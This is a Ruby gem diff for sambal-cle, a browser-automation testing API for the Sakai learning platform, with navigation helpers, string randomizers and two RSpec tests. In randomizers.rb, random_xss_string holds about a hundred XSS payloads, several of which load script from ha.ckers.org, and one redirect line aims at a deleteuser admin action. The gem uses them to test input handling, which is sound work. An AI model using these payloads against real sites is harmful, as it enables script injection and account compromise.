sambal-cle 0.1.3

data/lib/sambal-cle/randomizers.rb

@@ -0,0 +1,117 @@
+# coding: UTF-8
+module Randomizers
+
+  # A random string creator that draws from all printable ASCII characters
+  # from 33 to 128. Default length is 10 characters.
+  def random_string(length=10, s="")
+    length.enum_for(:times).inject(s) do |result, index|
+      s << rand(93) + 33
+    end
+  end
+
+  # A random string creator that draws from all printable ASCII and High ASCII characters
+  # from 33 to 256. Default length is 10 characters.
+  def random_high_ascii(length=10, s="")
+    length.enum_for(:times).inject(s) do |result, index|
+      s << rand(223) + 33
+    end
+  end
+
+  # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
+  # Uses no Reserved or "Unsafe" characters.
+  # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
+  def random_nicelink(length=10)
+    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
+    (0...length).map { chars[rand(chars.size)]}.join
+  end
+
+  # Returns a string that is properly formatted like an email address.
+  # The string returned defaults to 268 characters long.
+  # Including a number between 1 and 62 will shrink this string by 62 minus the specified
+  # value.
+  def random_email(x=62)
+    x > 62 ? x=62 : x=x
+    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
+    random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
+  end
+
+  # A random string generator that uses all characters
+  # available on an American Qwerty keyboard.
+  def random_alphanums_plus(length=10, s="")
+    chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @  # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
+  def random_alphanums(length=10, s="")
+    chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # A random string generator that uses only lower case letters.
+  def random_letters(length=10, s="")
+    chars = 'abcdefghjkmnpqrstuvwxyz'
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # Returns a block of text (of the specified type, see below) containing
+  # the specified number of "words" (each containing between 1 and 16 chars)
+  # randomly spread across the specified number of lines (note that
+  # the method does not allow the line count to be larger than
+  # the word count and will "fix" it if it is).
+  #
+  # If no parameters are provided, the method will return two alphanumeric
+  # "words" on two lines.
+  #
+  # The last parameter the method takes will determine the character content
+  # of the string, viz.:
+  #
+  # :alpha => "Alphanumeric" - Uses the random_alphanums method
+  # :string => uses the random_string method, so chars 33 through 128 will be included
+  # :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
+  def random_multiline(word_count=2, line_count=2, char_type=:alpha)
+    char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
+    if line_count > word_count
+      line_count = word_count - 1
+    end
+    words = []
+    non_words = []
+    word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
+    (line_count - 1).times { non_words << "\n" } # adding the number of line feeds
+    unless word_count==line_count
+      (word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
+    end
+    non_words.shuffle! # Have to shuffle the line feeds around!
+    array = words.zip(non_words)
+    array.flatten!
+    array.join("")
+  end
+
+  # Picks at random from the list of XSS test strings, using
+  # the provided number as size of the list to choose from.
+  # It will randomly pre-pend the string with HTML closing tags.
+  #
+  # The strings are organized by length, with the shorter ones
+  # first. There are 102 strings.
+  def random_xss_string(number=102)
+    if number > 102
+      number = 102
+    end
+    xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
+    x = rand(4)
+    case(x)
+      when 0
+        return xss[rand(number)]
+      when 1
+        return %|"| + xss[rand(number)]
+      when 2
+        return %|">| + xss[rand(number)]
+      when 3
+        return %|>| + xss[rand(number)]
+    end
+
+  end
+end

data/lib/sambal-cle/rich_text.rb

@@ -0,0 +1,38 @@
+module FCKEditor
+
+  # This has to be defined this way because there several pages
+  # that have multiple rich text editors.
+  def source(editor)
+    editor.div(:title=>/Source/).wait_until_present
+    editor.div(:title=>/Source/).click
+  end
+
+  def select_all(editor)
+    editor.div(:title=>"Select All").wait_until_present
+    editor.div(:title=>"Select All").click
+  end
+
+  def enter_source_text(editor, text)
+    source(editor)
+    source_field(editor).wait_until_present
+    source_field(editor).set text
+  end
+
+  def get_source_text(editor)
+    source(editor)
+    source_field(editor).wait_until_present
+    source_field(editor).value
+  end
+
+  def entity_picker(editor)
+    editor.div(:title=>"Sakai_Entity_Link").wait_until_present
+    editor.div(:title=>"Sakai_Entity_Link").click
+    @browser.frame(:index=>2).frame(:id=>"frmMain").button(:value=>"Browse Server").click
+    @browser.window(:index=>1).use
+  end
+
+  def source_field(editor)
+    editor.text_field(:class=>"SourceField")
+  end
+
+end

data/lib/sambal-cle/utilities.rb

@@ -0,0 +1,31 @@
+# coding: UTF-8
+
+module Utilities
+
+  # Strips the file name away from the path information.
+  #
+  # This way it's not necessary to define variables for BOTH the
+  # file name and the file path + file name. Just define the
+  # path + name and then use this method to extract only the filename
+  # portion.
+  #
+  # NOTE: This may be deprecated in the future, so think hard before
+  # using it.
+  def get_filename(path_plus_name_string)
+    path_plus_name_string =~ /(?<=\/).+/
+    return $~.to_s
+  end
+
+  # Shorthand method for making a data object for testing.
+  def make data_object_class, opts={}
+    data_object_class.new @browser, opts
+  end
+
+  # Transform for use with data object instance variables
+  # that refer to checkboxes or radio buttons.
+  def checkbox_setting(checkbox)
+    checkbox.set? ? :set : :clear
+  end
+  alias radio_setting checkbox_setting
+
+end

data/lib/sambal-cle/workflows.rb

@@ -0,0 +1,223 @@
+# Workflows is a module containing helper navigation methods
+module Workflows
+
+  def self.menu_link name, opts={}
+    define_method name.to_s do
+      @browser.link(opts).click
+    end
+  end
+
+  # Opens "My Sites" and then clicks on the matching
+  # Site name. Shortens the name used for search so
+  # that truncated names are not a problem.
+  # Should be followed by the Home class.
+  #
+  # Will error out if there are not matching links.
+  def open_my_site_by_name(name)
+    truncated_name = name[0..19]
+    @browser.link(:text, "My Sites").click
+    @browser.link(:text, /#{Regexp.escape(truncated_name)}/).click
+  end
+
+  # Clicks the "Account" link in the Adminstration Workspace
+  # Should be followed by the UserAccount class.
+  #
+  # Throws an error if the link is not present.
+  menu_link :account, :text=>"Account"
+
+  # Clicks the "Aliases" link in the Administration Workspace
+  # menu, then should be followed by the Aliases class.
+  menu_link :aliases, :text=>"Aliases"
+
+  # Clicks the link for the Administration Workspace, then
+  # should be followed by the MyWorkspace class.
+  menu_link :administration_workspace, :text=>"Administration Workspace"
+
+  # Clicks the Announcements link goes to
+  # the Announcements class.
+  menu_link :announcements, :class=>'icon-sakai-announcements'
+
+  # Clicks the Assignments link, goes to
+  # the AssignmentsList class.
+  menu_link :assignments, :class=>"icon-sakai-assignment-grades"
+
+  # BasicLTI class
+  menu_link :basic_lti, :class=>"icon-sakai-basiclti"
+
+  # Blogs class
+  menu_link :blogs, :class=>"icon-sakai-blogwow"
+
+  # Clicks the Blogger link in the Site menu and
+  # instantiates the Blogger Class.
+  menu_link :blogger, :class=>"icon-blogger"
+
+  # Clicks the Calendar link, then instantiates
+  # the Calendar class.
+  menu_link :calendar, :text=>"Calendar"
+
+  menu_link :certification, :text=>"Certification"
+
+  # ChatRoom class
+  menu_link :chat_room, :class=>"icon-sakai-chat"
+
+  menu_link :configuration_viewer, :text=>"Configuration Viewer"
+  menu_link :customizer, :text=>"Customizer"
+
+  # JForum page class.
+  menu_link :discussion_forums, :class=>"icon-sakai-jforum-tool"
+
+  # DropBox class
+  menu_link :drop_box, :class=>"icon-sakai-dropbox"
+
+  menu_link :email, :text=>"Email"
+
+  # Email Archive class
+  menu_link :email_archive, :class=>"icon-sakai-mailbox"
+
+  menu_link :email_template_administration, :text=>"Email Template Administration"
+
+  # EvaluationSystem class
+  menu_link :evaluation_system, :class=>"icon-sakai-rsf-evaluation"
+
+  # Feedback class
+  menu_link :feedback, :class=>"icon-sakai-postem"
+
+  # Forms class
+  menu_link :forms, :text=>"Forms", :class=>"icon-sakai-metaobj"
+
+  # Forums class.
+  menu_link :forums, :text=>"Forums"
+
+  # Glossary Class.
+  menu_link :glossary, :text=>"Glossary"
+
+  # Gradebook Class.
+  menu_link :gradebook, :text=>"Gradebook"
+
+  # Gradebook2 class
+  menu_link :gradebook2, :text=>"Gradebook2"
+
+  menu_link :help, :text=>"Help"
+
+  # Home class--unless the target page happens to be
+  # My Workspace, in which case the MyWorkspace
+  # page should be used.
+  menu_link :home, :text=>"Home"
+
+  # Job Scheduler class.
+  menu_link :job_scheduler, :text=>"Job Scheduler"
+
+  # Lessons class
+  menu_link :lessons, :text=>"Lessons"
+
+  menu_link :lesson_builder, :text=>"Lesson Builder"
+  menu_link :link_tool, :text=>"Link Tool"
+  menu_link :live_virtual_classroom, :text=>"Live Virtual Classroom"
+
+  # Matrices Class
+  menu_link :matrices, :text=>"Matrices"
+
+  # MediaGallery class
+  menu_link :media_gallery, :class=>"icon-sakai-kaltura"
+
+  menu_link :membership, :text=>"Membership"
+  menu_link :memory, :text=>"Memory"
+
+  # Messages class.
+  menu_link :messages, :text=>"Messages"
+  menu_link :my_sites, :text=>"My Sites"
+
+  # MyWorkspace Class.
+  menu_link :my_workspace, :text=>"My Workspace"
+
+  # News
+  menu_link :news, :class=>"icon-sakai-news"
+
+  menu_link :online, :text=>"On-Line"
+  menu_link :oauth_providers, :text=>"Oauth Providers"
+  menu_link :oauth_tokens, :text=>"Oauth Tokens"
+  menu_link :openSyllabus, :text=>"OpenSyllabus"
+
+  # Podcasts
+  menu_link :podcasts, :class=>"icon-sakai-podcasts"
+
+  # Polls class
+  menu_link :polls, :class=>"icon-sakai-poll"
+
+  # Portfolios class
+  menu_link :portfolios, :class=>"icon-osp-presentation"
+
+  # PortfolioTemplates
+  menu_link :portfolio_templates, :text=>"Portfolio Templates"
+
+  menu_link :preferences, :text=>"Preferences"
+
+  menu_link :profile, :text=>"Profile"
+
+  # Profile2 class
+  menu_link :profile2, :class=>"icon-sakai-profile2"
+
+  menu_link :realms, :text=>"Realms"
+
+  # Resources class.
+  menu_link :resources, :text=>"Resources"
+
+  # Roster
+  menu_link :roster, :class=>"icon-sakai-site-roster"
+
+  menu_link :rsmart_support, :text=>"rSmart Support"
+
+  # Because "Search" is used in many pages,
+  # The Search button found in the Site Management
+  # Menu must be given the more explicit name
+  menu_link :site_management_search, :class=>"icon-sakai-search"
+
+  # Sections
+  menu_link :sections, :class=>"icon-sakai-sections"
+
+  menu_link :site_archive, :text=>"Site Archive"
+
+  # SiteEditor class.
+  menu_link :site_editor, :text=>"Site Editor"
+
+  # SiteSetup class.
+  menu_link :site_setup, :text=>"Site Setup"
+
+  menu_link :site_statistics, :text=>"Site Statistics"
+
+  # Sites class.
+  menu_link :sites, :class=>"icon-sakai-sites"
+
+  menu_link :skin_manager, :text=>"Skin Manager"
+  menu_link :super_user, :text=>"Super User"
+
+  # Styles
+  menu_link :styles, :text=>"Styles"
+
+  # Syllabus class.
+  menu_link :syllabus, :text=>"Syllabus"
+
+  # AssessmentsList class OR the TakeAssessmentList for students
+  menu_link :assessments, :class=>"icon-sakai-samigo"
+
+  # UserMembership
+  menu_link :user_membership, :class=>"icon-sakai-usermembership"
+
+  # Users
+  menu_link :users, :class=>"icon-sakai-users"
+
+  # WebContent
+  menu_link :web_content, :class=>"icon-sakai-iframe"
+
+  # Wikis
+  menu_link :wiki, :class=>"icon-sakai-rwiki"
+
+  # The Page Reset button, found on all Site pages
+  menu_link :reset, :href=>/tool-reset/
+
+  # Login class.
+  menu_link :logout, :text=>"Logout"
+  alias :log_out :logout
+  alias :sign_out :logout
+
+end

data/lib/sambal-cle.rb

@@ -0,0 +1,31 @@
+require 'cgi'
+require 'watir-webdriver'
+require 'sambal-cle/page_maker.rb'
+Dir["#{File.dirname(__FILE__)}/sambal-cle/*.rb"].each {|f| require f }
+Dir["#{File.dirname(__FILE__)}/sambal-cle/page_objects/*.rb"].each {|f| require f }
+Dir["#{File.dirname(__FILE__)}/sambal-cle/data_objects/*.rb"].each {|f| require f }
+
+# Initialize this class at the start of your test cases to
+# open the specified test browser at the specified Sakai welcome page URL.
+#
+# The initialization will return the LoginPage class object as well as
+# create the @browser variable used throughout the page classes
+class SakaiCLE
+
+  #include PageObject
+  #include ToolsMenu
+
+  attr_reader :browser
+
+  def initialize(web_browser, url)
+    @browser = Watir::Browser.new web_browser
+    @browser.window.resize_to(1400,900)
+    @browser.goto url
+  end
+
+  # Returns the class containing the welcome page's page elements.
+  def page
+    Login.new @browser
+  end
+
+end

data/sambal-cle.gemspec

@@ -0,0 +1,14 @@
+spec = Gem::Specification.new do |s|
+  s.name = 'sambal-cle'
+  s.version = '0.1.3'
+  s.summary = %q{Sakai-CLE functional testing API for the rSmart Collaborative Learning Environment}
+  s.description = %q{The Sambal-CLE gem provides an API for interacting with pages and page elements in rSmart's deployment of the Sakai Collaborative Learning Environment.}
+  s.files = Dir.glob("**/**/**")
+  s.test_files = Dir.glob("test/*test_rb")
+  s.authors = ["Abraham Heward"]
+  s.email = %w{"aheward@rsmart.com"}
+  s.homepage = 'https://github.com/rSmart/sambal-cle'
+  s.add_dependency 'watir-webdriver', '>= 0.5.5'
+  s.add_dependency 'selenium-webdriver', '>= 2.21.2'
+  s.required_ruby_version = '>= 1.9.2'
+end

data/test/add_assignment_to_calendar_spec.rb

@@ -0,0 +1,86 @@
+require 'rspec'
+require 'sambal-cle'
+require 'yaml'
+
+describe "Assignment Due Date on Calendar" do
+
+  include Utilities
+  include Workflows
+  include PageHelper
+  include Randomizers
+  include DateMakers
+
+  before :all do
+
+    # Get the test configuration data
+    @config = YAML.load_file("config.yml")
+    @directory = YAML.load_file("directory.yml")
+    @sakai = SakaiCLE.new(@config['browser'], @config['url'])
+    @browser = @sakai.browser
+
+    @student = @directory['person1']['id']
+    @spassword = @directory['person1']['password']
+    @instructor1 = @directory['person3']['id']
+    @ipassword = @directory['person3']['password']
+
+    @instructor2 = @directory['person4']['id']
+    @password1 = @directory['person4']['password']
+
+    @sakai.page.login(@instructor1, @ipassword)
+
+    @site = make SiteObject
+    @site.create
+
+    @site.add_official_participants :role=>"Student", :participants=>[@student]
+    @site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
+
+    @assignment1 = make AssignmentObject, :site=>@site.name, :title=>random_string, :grade_scale=>"Letter grade", :instructions=>random_multiline(500, 10, :string), :open=>minutes_ago(5)
+    @assignment2 = make AssignmentObject, :allow_resubmission=>:set, :add_due_date=>:set, :site=>@site.name, :title=>random_nicelink(15), :open=>hours_ago(5), :student_submissions=>"Inline only", :grade_scale=>"Letter grade", :instructions=>random_multiline(750, 13, :string)
+
+    @assignment1.create
+    @assignment2.create
+
+  end
+
+  after :all do
+    # Close the browser window
+    @sakai.browser.close
+  end
+
+  it "When 'add due date to schedule' not checked, Assignment does not appear on the Calendar" do
+    calendar
+
+    on Calendar do |calendar|
+      # List events on the expected due date for Assignment 2
+      calendar.view.select "List of Events"
+      calendar.show_events.select "Custom date range"
+      calendar.start_month.select @assignment1.due[:MON]
+      calendar.start_day.select @assignment1.due[:day_of_month]
+      calendar.start_year.select @assignment1.due[:year]
+      calendar.end_month.select @assignment1.due[:MON]
+      calendar.end_day.select @assignment1.due[:day_of_month]
+      calendar.end_year.select @assignment1.due[:year]
+      calendar.filter_events
+
+      calendar.events_list.should_not include "Due #{@assignment1.title}"
+    end
+  end
+
+  it "When 'add due date to schedule' is checked, Assignment appears on the Calendar" do
+    on Calendar do |calendar|
+      calendar.start_month.select @assignment2.due[:MON]
+      calendar.start_day.select @assignment2.due[:day_of_month]
+      calendar.start_year.select @assignment2.due[:year]
+      calendar.end_month.select @assignment2.due[:MON]
+      calendar.end_day.select @assignment2.due[:day_of_month]
+      calendar.end_year.select @assignment2.due[:year]
+      calendar.filter_events
+
+      calendar.events_list.should include "Due #{@assignment2.title}"
+
+    end
+  end
+
+  # TODO: Add tests for student and other instructor being able to see the assignment in the calendar
+
+end

data/test/assignment_announcements_spec.rb

@@ -0,0 +1,71 @@
+require 'rspec'
+require 'sambal-cle'
+require 'yaml'
+
+describe "Assignments appearing in Announcements" do
+
+  include Utilities
+  include Workflows
+  include PageHelper
+  include Randomizers
+  include DateMakers
+
+  before :all do
+
+    # Get the test configuration data
+    @config = YAML.load_file("config.yml")
+    @directory = YAML.load_file("directory.yml")
+    @sakai = SakaiCLE.new(@config['browser'], @config['url'])
+    @browser = @sakai.browser
+
+    @student = @directory['person1']['id']
+    @spassword = @directory['person1']['password']
+    @instructor1 = @directory['person3']['id']
+    @ipassword = @directory['person3']['password']
+
+    @instructor2 = @directory['person4']['id']
+    @password1 = @directory['person4']['password']
+
+    @sakai.page.login(@instructor1, @ipassword)
+
+    @site = make SiteObject
+    @site.create
+
+    @site.add_official_participants :role=>"Student", :participants=>[@student]
+    @site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
+
+    @assignment1 = make AssignmentObject, :status=>"Draft", :add_open_announcement=>:set, :site=>@site.name, :title=>random_xss_string(30), :open=>in_an_hour, :student_submissions=>"Attachments only", :grade_scale=>"Points", :max_points=>"100", :instructions=>random_multiline(600, 12, :string)
+    @assignment2 = make AssignmentObject, :site=>@site.name, :add_open_announcement=>:set, :open=>an_hour_ago
+    @assignment1.create
+    @assignment2.create
+
+  end
+
+  after :all do
+    # Close the browser window
+    @sakai.browser.close
+  end
+
+  it "Assignments in Draft status do not appear in Announcements" do
+    home
+
+    on Home do |home|
+     home.announcements_list.should_not include("Assignment: Open Date for '#{@assignment1.title}'")
+    end
+  end
+
+  it "Open assignments do appear in Announcements" do
+    on Home do |home|
+      home.announcements_list.should include("Assignment: Open Date for '#{@assignment2.title}'")
+    end
+  end
+
+  it "Changing assignment from Draft to open will display assignment in Announcements" do
+    @assignment1.edit :status=>"Open"
+    home
+    on Home do |home|
+      home.announcements_list.should include("Assignment: Open Date for '#{@assignment1.title}'")
+    end
+  end
+
+end